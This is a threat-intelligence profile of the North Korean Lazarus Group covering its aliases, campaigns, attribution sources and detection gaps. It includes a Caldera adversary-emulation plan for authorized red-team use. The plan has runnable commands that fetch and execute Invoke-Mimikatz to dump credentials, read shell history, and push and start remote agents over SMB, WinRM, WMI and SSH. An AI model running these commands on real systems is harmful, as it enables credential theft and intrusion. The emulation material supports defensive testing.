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Threat Actor

Lazarus Group

lazarus_group · north_korea · active since 2009

Lazarus Group (Hidden Cobra / Diamond Sleet / Labyrinth Chollima / ZINC / NICKEL ACADEMY / Guardians of Peace / G0032) is a North Korean state-sponsored threat actor attributed to the DPRK Reconnaissance General Bureau, active since at least 2009, and used in public reporting as an umbrella term for multiple overlapping DPRK cyber clusters (APT38/Bluenoroff, Andariel, APT37, Jade Sleet, Sapphire Sleet, others)

documented operations include the 2014 Sony Pictures destructive attack, the 2016 Bangladesh Bank SWIFT heist, the 2017 WannaCry global ransomware worm, Operation Dream Job aerospace/defense espionage, the 2023 3CX cascade supply-chain compromise, and a sustained multi- billion-USD cryptocurrency theft campaign funding the DPRK regime including the USD 624M Ronin Bridge / Axie Infinity heist.

north_korea confidence: high 45 aliases MITRE ATT&CK G0067 ↗

Profile

Lazarus Group is a North Korean state-sponsored threat actor attributed to the DPRK's Reconnaissance General Bureau (RGB), operating since at least 2009. "Lazarus Group" is widely used as an umbrella term for a constellation of overlapping DPRK cyber operators, including sub-clusters tracked by various vendors as APT38 (Bluenoroff), Andariel, APT37, Diamond Sleet, Jade Sleet, Sapphire Sleet, Moonstone Sleet, Onyx Sleet, Labyrinth Chollima, Silent Chollima, and others, that share personnel, infrastructure, malware, and tradecraft. The threat-intelligence community has not converged on a single organizational map of these clusters.

Mandiant, Microsoft, CrowdStrike, JPCERT/CC, and Palo Alto Unit 42 each maintain partially-overlapping taxonomies. Lazarus is responsible for some of the most consequential cyber operations on public record: the 2014 Sony Pictures destructive attack (Operation Blockbuster), the 2016 Bangladesh Bank SWIFT heist (which established the DPRK bank-heist business model later extended to dozens of victims), the 2017 WannaCry global ransomware worm, ongoing destructive operations against South Korean targets, the 2018 indictment of Park Jin Hyok, the 2019 US Treasury sanctions on Lazarus / Bluenoroff / Andariel, the 2021 Microsoft Exchange and security-researcher targeting, the 2023 3CX and CyberLink supply-chain compromises (the first known cascade supply-chain attack), and a sustained, regime- funding cryptocurrency theft campaign with single-incident heists exceeding USD 600 million (Ronin Bridge 2022) and cumulative losses estimated in the multi-billion USD range. Tradecraft mixes destructive wipers (Destover, WhiskeyAlfa/Bravo/ Delta, SHARPKNOT MBR wipe), custom encrypted-channel implants (CHOPSTICK-class FakeTLS protocols), cross-platform RATs (Dacls for macOS and Linux, MATA framework), supply-chain weaponization, LinkedIn-based recruiter-persona social engineering (Operation Dream Job), DPRK IT-worker infiltration (Wagemole), and open-source-package ecosystem poisoning (Contagious Interview npm campaign). Lazarus is one of the few state actors to consistently target macOS and Linux at scale.

Aliases

45
lazaruslazarus grouplabyrinth chollimahidden cobraguardians of peacezincnickel academydiamond sleetapt38apt37bluenoroffandarielsilent chollimastardust chollimaricochet chollimajade sleetsapphire sleetcitrine sleetmoonstone sleetonyx sleetcoperniciumseleniumdev-0228dev-0530tdropwhois teamwhois hacking teamnew romantic cyber army teamnew romantic armydark seouldarkseouldark seoul ganggroup 77applewormoperation blockbusteroperation troyoperation flameoperation 1missionten days of rainbureau 121lab 110unit 180rgbreconnaissance general bureaug0032

MITRE ATT&CK aliases

5
Additional names MITRE lists for G0067.
InkySquidScarCruftReaperGroup123TEMP.Reaper

Adversary Emulation Plan

13 steps
Runnable Caldera emulation profile Worm - Move laterally any way possible. Ordered along the attack lifecycle; each step maps to an ATT&CK technique with a concrete executor command. For authorized red-team / purple-team exercises only.
0 collection T1005 · Data from Local System darwin, linux
Parse SSH config
pip install stormssh && storm list
1 credential-access T1552.003 · Unsecured Credentials: Bash History darwin, linux
Dump history
find ~/.bash_sessions -name '*' -exec cat {} \; 2>/dev/null
2 discovery T1135 · Network Share Discovery windows
View admin shares
Get-SmbShare | ConvertTo-Json
3 discovery T1018 · Remote System Discovery darwin, linux, windows
Collect ARP details
arp -a
Run PowerKatz
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $True };
$web = (New-Object System.Net.WebClient);
$result = $web.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/4c7a2016fc7931cd37273c5d8e17b16d959867b3/Exfiltration/Invoke-Mimikatz.ps1");
iex $result; Invoke-Mimikatz -DumpCreds
5 discovery T1018 · Remote System Discovery windows
Find Hostname
nbtstat -A #{remote.host.ip}
6 discovery T1018 · Remote System Discovery windows
Reverse nslookup IP
nslookup #{remote.host.ip}
Mount Share
net use \\#{remote.host.fqdn}\C$ /user:#{domain.user.name} #{domain.user.password}
Copy 54ndc47 (SMB)
$path = "sandcat.go-windows";
$drive = "\\#{remote.host.fqdn}\C$";
Copy-Item -v -Path $path -Destination $drive"\Users\Public\s4ndc4t.exe";
9 lateral-movement T1570 · Lateral Tool Transfer windows, darwin, linux
Copy 54ndc47 (WinRM and SCP)
$job = Start-Job -ScriptBlock {
  $username = "#{domain.user.name}";
  $password = "#{domain.user.password}";
  $secstr = New-Object -TypeName System.Security.SecureString;
  $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
  $cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
  $session = New-PSSession -ComputerName "#{remote.host.name}" -Credential $cred;
  $location = "#{location}";
  $exe = "#{exe_name}";
  Copy-Item $location -Destination "C:\Users\Public\svchost.exe" -ToSession $session;
  Start-Sleep -s 5;
  Remove-PSSession -Session $session;
};
Receive-Job -Job $job -Wait;
Start 54ndc47 (WMI)
$node = '''#{remote.host.fqdn}''';
$user = '''#{domain.user.name}''';
$password = '''#{domain.user.password}''';
wmic /node:$node /user:$user /password:$password process call create "powershell.exe C:\Users\Public\s4ndc4t.exe -server #{server} -group #{group}";
Start Agent (WinRM)
$username = "#{domain.user.name}";
$password = "#{domain.user.password}";
$secstr = New-Object -TypeName System.Security.SecureString;
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)};
$cred = New-Object -Typename System.Management.Automation.PSCredential -Argumentlist $username, $secstr;
$session = New-PSSession -ComputerName #{remote.host.name} -Credential $cred;
Invoke-Command -Session $session -ScriptBlock{start-job -scriptblock{cmd.exe /c start C:\Users\Public\svchost.exe -server #{server} }};
Start-Sleep -s 5;
Remove-PSSession -Session $session;
12 lateral-movement T1021.004 · Remote Services: SSH darwin, linux
Start 54ndc47
scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 sandcat.go-darwin #{remote.ssh.cmd}:~/sandcat.go &&
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=3 #{remote.ssh.cmd} 'nohup ./sandcat.go -server #{server} -group red 1>/dev/null 2>/dev/null &'

Notable Campaigns

14
2024-2025Contagious Interview / Wagemole Operations
2023CyberLink Installer Supply Chain (November 2023)
20233CX Desktop App Supply Chain Compromise
2022-2024DeFi and Cross-Chain Bridge Heists
2021Targeting of Security Researchers (January 2021)
2020COVID-19 Vaccine Research Targeting (2020)
2019-2022C0022, Operation Dream Job / North Star / Interception
2019US Treasury Sanctions on Lazarus, Bluenoroff, Andariel
2018DOJ Indictment of Park Jin Hyok (September 2018)
2017WannaCry Ransomware Worm (May 2017)
2016Bangladesh Bank SWIFT Heist
2014Sony Pictures Entertainment Destructive Attack
2013Operation Troy / DarkSeoul (March 2013)
2011Ten Days of Rain (March 2011)

Attribution & Reporting

Attributed by
US Department of TreasuryUS Department of JusticeFBICISANSAUS Cyber CommandUK NCSCUK GovernmentJapan METI / NPA / NISCSouth Korea NISAustralian Cyber Security CentreMicrosoftMandiantGoogle Cloud Threat IntelligenceGoogle Threat Analysis GroupCrowdStrikeKasperskyESETSymantec / BroadcomTrend MicroMcAfeeSentinelOneCisco TalosSecureworksNovettaClearSkyRecorded FutureGroup-IBPWCAhnLab (ASEC)MalwarebytesQualysVolexityChainalysisTRM LabsElliptic
Key reporting
reportNovetta: Operation Blockbuster, Unraveling the Long Thread of the Sony Attack (February 2016, multi-part series)
reportUS DOJ Indictment 18-MJ-1479: USA v. Park Jin Hyok (September 2018)
reportUS Treasury OFAC: Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups (September 2019)
reportFBI Wanted Notice: Park Jin Hyok / Chosun Expo / Korea Expo Joint Venture
reportUS-CERT/CISA TA17-164A: HIDDEN COBRA, North Korea's DDoS Botnet Infrastructure
reportCISA AA21-048A: AppleJeus, Analysis of North Korea's Cryptocurrency Malware (February 2021)
reportMandiant: APT38, Un-usual Suspects (October 2018)
reportMandiant: Mapping DPRK Groups to Government (2024)
reportMandiant: North Korea Cyber Structure Alignment 2023
reportKaspersky: Lazarus on the Hunt for Big Game (multiple 2020-2024)
reportKaspersky: Lazarus ThreatNeedle
reportESET: Operation In(ter)ception, Aerospace and Military Targeting (June 2020)
reportClearSky: The CryptoCore Group / Operation Dream Job (August 2020)
reportClearSky: Operation Dream Job, Widespread North Korean Espionage
reportMcAfee: Operation North Star, A Job Offer That's Too Good to Be True (2020)
reportCrowdStrike: 2020 Global Threat Report (LABYRINTH CHOLLIMA section)
reportMicrosoft: Diamond Sleet Supply Chain Compromise (November 2023)
reportMicrosoft / Facebook: Disrupting ZINC Malware Attack (December 2017)
reportGoogle TAG: New Campaign Targeting Security Researchers (January 2021)
reportSentinelOne: Four Distinct Families of Lazarus Malware Target Apple's macOS Platform
reportTrend Micro: New macOS Dacls RAT Backdoor Show Lazarus' Multi-Platform Attack Capability
reportSophos / SentinelOne / CrowdStrike: 3CX Supply Chain Compromise Reports (March-April 2023)
reportMandiant: APT38, Details on New North Korean Regime-Backed Threat Group
reportChainalysis: North Korea Crypto Hacker Amount Stolen, Annual Reports
reportTRM Labs: DPRK Cryptocurrency Theft Annual Tracking Reports
reportEuRepoC: Advanced Persistent Threat Profile, Lazarus (February 2024)
reportPalo Alto Networks Unit 42: Threat Assessment, North Korean Threat Groups (2024)
reportJPCERT/CC: Classifying Lazarus's Subgroup (March 2025)
reportF-Secure: Black Hat Asia 2017, Lazarus Under the Hood
reportGroup-IB: Lazarus Group APT, Hunter's Guide

Detection Blind Spots

60 techniques
Across this actor’s 60 mapped techniques, the share covered by each detection layer. Low bars are where you’d be blind if this actor targeted you.
Behavioral / log (Sigma)53/60 · 88%
Analytics (MITRE CAR)24/60 · 40%
Runtime / container (Falco)8/60 · 13%
File / malware (YARA)0/60 · 0%
Network (Suricata/Snort)13/60 · 21%
Vuln scan (Nuclei)0/60 · 0%

Atomic Test Plan

30 techniques
Runnable Atomic Red Team tests covering this actor’s mapped techniques - validate your detections against this specific adversary. Cross-reference the blind spots above. For authorized lab / purple-team use. Open the full builder

Tools Used

6 mapped
Other tooling / TTPs (curation, not ATT&CK-mapped):
MANUSCRYPTMATASHARPKNOTSIERRAALFASIERRABRAVOSIERRABRAVO-TWOSIERRACHARLIE
Intelligence Graph · click any node to traverse
CVETechnique ActorTool Family
drag to reposition · click any node to traverse · button top-right enlarges
External lookups - second-class, for what we don’t hold ourselves
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
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